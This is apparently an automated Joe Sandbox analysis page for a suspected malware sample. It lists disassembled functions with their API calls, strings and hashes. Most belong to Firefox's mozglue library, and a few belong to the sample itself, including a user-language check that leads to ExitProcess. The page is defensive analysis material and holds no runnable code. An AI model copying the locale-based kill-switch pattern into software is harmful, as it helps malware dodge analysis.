Associated: 00000000.00000002.2392235915.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: 9f8f935de94653ac65db46b0c6f2766408528d0946ca29d98d5c39011b3dcb21
Instruction ID: 8d2d31da99423ca1da97be1f51af25de81625c11ea9824aa909d2306d991b280
Opcode Fuzzy Hash: 9f8f935de94653ac65db46b0c6f2766408528d0946ca29d98d5c39011b3dcb21
Instruction Fuzzy Hash: 7131A7307422056BFB10AF668C45BAE7775BF85754F204118F612EB684DB70E501CBBD

Function 6C65ECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6C65F100: LoadLibraryW.KERNEL32(shell32,?,6C6CD020), ref: 6C65F122
Part of subcall function 6C65F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C65F132

moz_xmalloc.MOZGLUE(00000012), ref: 6C65ED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C65EDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6C65EDCC
CreateFileW.KERNEL32 ref: 6C65EE08
free.MOZGLUE(00000000), ref: 6C65EE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6C65EE32

Part of subcall function 6C65EB90: moz_xmalloc.MOZGLUE(00000104), ref: 6C65EBB5
Part of subcall function 6C65EB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6C68D7F3), ref: 6C65EBC3
Part of subcall function 6C65EB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6C68D7F3), ref: 6C65EBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6C65EDC1

Memory Dump Source

Source File: 00000000.00000002.2392102191.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2392084839.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392162329.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392199947.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392235915.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: aff3e682c30c1d894395bd1230d8b7f2f94c1da813581de920205db56cd4430b
Instruction ID: 58349f6a09830bb8ba9f10bcb68811798057119605d22f8757a79b57b5dcc24a
Opcode Fuzzy Hash: aff3e682c30c1d894395bd1230d8b7f2f94c1da813581de920205db56cd4430b
Instruction Fuzzy Hash: F251F171E052048BDF00DF69C8806EEB7F0AF4A318F94852DE8956B740E7346959C7EA

Function 6C6CA520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C6CA565

Part of subcall function 6C6CA470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6CA4BE
Part of subcall function 6C6CA470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C6CA4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C6CA65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C6CA6B6

Strings

0, xrefs: 6C6CA5FB
z, xrefs: 6C6CA6AE

Memory Dump Source

Source File: 00000000.00000002.2392102191.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2392084839.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392162329.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392199947.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392235915.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: 712dce064de4174f7be760f1de679cf96d388de0a395e03b1cfbcc39e6cfbc89
Instruction ID: 04f669c28a7bbff4618a294ce90f01ccbc11bc35cfc35bd6eeabef394af0ac6b
Opcode Fuzzy Hash: 712dce064de4174f7be760f1de679cf96d388de0a395e03b1cfbcc39e6cfbc89
Instruction Fuzzy Hash: 75414771A097459FC341CF29C080A8BBBE4FF8A344F408A2EF49987651EB30D549CB87

Function 6C699420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6C68AB89: EnterCriticalSection.KERNEL32(6C6DE370,?,?,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284), ref: 6C68AB94
Part of subcall function 6C68AB89: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68ABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C664A68), ref: 6C69945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C699470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C699482
__Init_thread_footer.LIBCMT ref: 6C69949F

Strings

MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C699459
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C69946B
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C69947D

Memory Dump Source

Source File: 00000000.00000002.2392102191.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2392084839.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392162329.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392199947.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392235915.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: 1975ebd18fdda91212e2c2a4ae65ce86654b8f1e754ebe6337f32358a6cf2a89
Instruction ID: aa2c4d1473f1cb2f1ae45731b97a48eff6bf2a21c92b5f4b9591bb7a0ffbe7d0
Opcode Fuzzy Hash: 1975ebd18fdda91212e2c2a4ae65ce86654b8f1e754ebe6337f32358a6cf2a89
Instruction Fuzzy Hash: C5012830A001028BD7109B5ED840A8D33B99F06B3DF054537DD0AC6B52D623F4648D5F

Function 005F6770 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetUserDefaultLangID.KERNEL32 ref: 005F6774
ExitProcess.KERNEL32 ref: 005F67A5
ExitProcess.KERNEL32 ref: 005F67AF
ExitProcess.KERNEL32 ref: 005F67B9
ExitProcess.KERNEL32 ref: 005F67C3
ExitProcess.KERNEL32 ref: 005F67CD

Strings

*, xrefs: 005F678C

Memory Dump Source

Source File: 00000000.00000002.2364033932.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2363979438.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.00000000009C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000ADB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365044535.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365183916.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365219582.0000000000C90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess$DefaultLangUser
String ID: *
API String ID: 1494266314-163128923
Opcode ID: 7f1dfbe2e37f54f781a7935dd2677b8abee396945f551736de126aefda67050c
Instruction ID: f768ce4f7509c97586659bf476c5577df6098e7da6ab3fa60b8e745d2935c985
Opcode Fuzzy Hash: 7f1dfbe2e37f54f781a7935dd2677b8abee396945f551736de126aefda67050c
Instruction Fuzzy Hash: C0F05E3090520DEFD358AFE0E90972CBB70FF14703F048198E649C62D0D6744B42DB9A

Function 6C6CB540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6C6CB5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C6CB5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C6CB5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C6CB5F4
__Init_thread_footer.LIBCMT ref: 6C6CB605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6C6CB61F
std::_Facet_Register.LIBCPMT ref: 6C6CB631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C6CB655

Memory Dump Source

Source File: 00000000.00000002.2392102191.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2392084839.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392162329.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392199947.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392235915.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: 3c1a17819dfe9a350094352700d341752c2ca1ac99d6397397ee31cc8f07406e
Instruction ID: 70af877dea57f0e7fc2c37128b4d8ba1b432833bcab7c8e056cdc96acfe85fe5
Opcode Fuzzy Hash: 3c1a17819dfe9a350094352700d341752c2ca1ac99d6397397ee31cc8f07406e
Instruction Fuzzy Hash: FB316F71B002058BCB00DFAAC8989AEB7F5EFCA325F150519D90697780DB31B906CF9E

Function 6C68D5D0 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6C65EB57,?,?,?,?,?,?,?,?,?), ref: 6C68D652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6C65EB57,?), ref: 6C68D660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C65EB57,?), ref: 6C68D673
free.MOZGLUE(?), ref: 6C68D888

Strings

Wel, xrefs: 6C68D5D9, 6C68D63F
|Enabled, xrefs: 6C68D81E

Memory Dump Source

Source File: 00000000.00000002.2392102191.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2392084839.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392162329.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392199947.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392235915.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: Wel$|Enabled
API String ID: 4142949111-1036103015
Opcode ID: dd42113ae65c5df3a0ce37b97dceeea840c04748c57847a24978f9c8794ba008
Instruction ID: 73895f8debc637035f6ab12ae7658e5f5767ac23accadb84eb3d4b2661b4f139
Opcode Fuzzy Hash: dd42113ae65c5df3a0ce37b97dceeea840c04748c57847a24978f9c8794ba008
Instruction Fuzzy Hash: 14A1F2B0A012499FDF10CF69C4907EEBBF1AF4A318F58805ED885AB741C734A845CBB9

Function 6C6A1D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C6A1D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6C6A1BE3,?,?,6C6A1D96,00000000), ref: 6C6A1D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6C6A1BE3,?,?,6C6A1D96,00000000), ref: 6C6A1D4C
GetCurrentThreadId.KERNEL32 ref: 6C6A1DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C6A1DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C6A1DDA

Part of subcall function 6C6A1EF0: GetCurrentThreadId.KERNEL32 ref: 6C6A1F03
Part of subcall function 6C6A1EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6C6A1DF2,00000000,00000000), ref: 6C6A1F0C
Part of subcall function 6C6A1EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6C6A1F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6C6A1DF4

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

Memory Dump Source

Source File: 00000000.00000002.2392102191.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2392084839.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392162329.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392199947.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392235915.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: 4c4b000d06f41878ff19d4314d7ed2d066b6f97361b661544fa9a5f223976c85
Instruction ID: 6237317cd5e8c4c48d03eaf6022813b837f2a5122011ce4a3e1288e701c1984f
Opcode Fuzzy Hash: 4c4b000d06f41878ff19d4314d7ed2d066b6f97361b661544fa9a5f223976c85
Instruction Fuzzy Hash: 434167B52007019FCB10DF69C488A56BBF9FF89314F10442EE95A87B41DB31F855CB99

Function 6C6984E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C6984F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C69850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C69851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C69855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C69856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C6985AC

Part of subcall function 6C697670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C6985B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C69767F
Part of subcall function 6C697670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C6985B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C697693
Part of subcall function 6C697670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C6985B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C6976A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C6985B2

Part of subcall function 6C675E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C675EDB
Part of subcall function 6C675E90: memset.VCRUNTIME140(ewkl,000000E5,?), ref: 6C675F27
Part of subcall function 6C675E90: LeaveCriticalSection.KERNEL32(?), ref: 6C675FB2

Memory Dump Source

Source File: 00000000.00000002.2392102191.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2392084839.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392162329.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392199947.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392235915.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: 983fe677dbbdfd636f57bc4bf4f18da6e73b00731ded2bd3697c35bd201452d4
Instruction ID: b02f8cc00a9fe643691ff8c2603e189c6edef795f28809ea080049c642b51048
Opcode Fuzzy Hash: 983fe677dbbdfd636f57bc4bf4f18da6e73b00731ded2bd3697c35bd201452d4
Instruction Fuzzy Hash: 7D218E742006029FDB14DF29C888A5AB7B5AF8930CF24492DE55BC3B51EB31F949CB59

Function 005F92E0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 39fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(:_,80000000,00000003,00000000,00000003,00000080,00000000,?,005F3AEE,?), ref: 005F92FC
GetFileSizeEx.KERNEL32(000000FF,:_), ref: 005F9319
CloseHandle.KERNEL32(000000FF), ref: 005F9327

Strings

:_, xrefs: 005F92F8, 005F92FB
:_, xrefs: 005F9311, 005F933D, 005F9314

Memory Dump Source

Source File: 00000000.00000002.2364033932.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2363979438.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.00000000009C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000ADB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365044535.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365183916.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365219582.0000000000C90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleSize
String ID: :_$:_
API String ID: 1378416451-3093262757
Opcode ID: f9cf910110cf6b698a085144f865fb748172f6248277289fd1add386fae1496b
Instruction ID: 8375105aca043063c77ec0bae3e12196493b5a71c9da06b471ba5f30a6374584
Opcode Fuzzy Hash: f9cf910110cf6b698a085144f865fb748172f6248277289fd1add386fae1496b
Instruction Fuzzy Hash: 82F04F75E40208BBDB24DFB4DC49FAE7BF9BB48710F10CA54BA51A72C0D67496018B44

Function 6C69F540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C664A68), ref: 6C69945E
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C699470
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C699482
Part of subcall function 6C699420: __Init_thread_footer.LIBCMT ref: 6C69949F

GetCurrentThreadId.KERNEL32 ref: 6C69F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C69F561

Part of subcall function 6C6994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6994EE
Part of subcall function 6C6994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C699508

GetCurrentThreadId.KERNEL32 ref: 6C69F577
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F585
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F5A3

Strings

[I %d/%d] profiler_resume_sampling, xrefs: 6C69F499
[I %d/%d] profiler_pause_sampling, xrefs: 6C69F3A8
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C69F56A
[I %d/%d] profiler_resume, xrefs: 6C69F239

Memory Dump Source

Source File: 00000000.00000002.2392102191.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2392084839.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392162329.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392199947.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392235915.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: ddaf6f8b125b3f6f6eed465e4a80a9166bf3288553cff3e0002d544b284c5598
Instruction ID: c3c579bf121b4f29216cc944803579b568ea5ae6b2b9047ff900d25c0825af38
Opcode Fuzzy Hash: ddaf6f8b125b3f6f6eed465e4a80a9166bf3288553cff3e0002d544b284c5598
Instruction Fuzzy Hash: 82F0B4752002059FDB006F669C8895E77BDEFCA29EF010415FA0583706CF31A801876E

Function 6C6905F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6C68CFAE,?,?,?,6C6531A7), ref: 6C6905FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6C68CFAE,?,?,?,6C6531A7), ref: 6C690616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6C6531A7), ref: 6C69061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6C6531A7), ref: 6C690627

Strings

<jemalloc>, xrefs: 6C6905FA, 6C69060F
: (malloc) Error in VirtualFree(), xrefs: 6C69061B, 6C690625

Memory Dump Source

Source File: 00000000.00000002.2392102191.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2392084839.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392162329.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392199947.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392235915.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: 718c23f9e1cf966c788dd71da6affca665d055ee368c1ec450e64d4ade668484
Instruction ID: 48e1536f2f0669c544160619b682af56469d35fc0a8b4f871b052f5e726b8a34
Opcode Fuzzy Hash: 718c23f9e1cf966c788dd71da6affca665d055ee368c1ec450e64d4ade668484
Instruction Fuzzy Hash: 69E08CE2A0101037F6142256BC86DBB761CDBC6134F080039FE0E83341E94ABD1A51FB

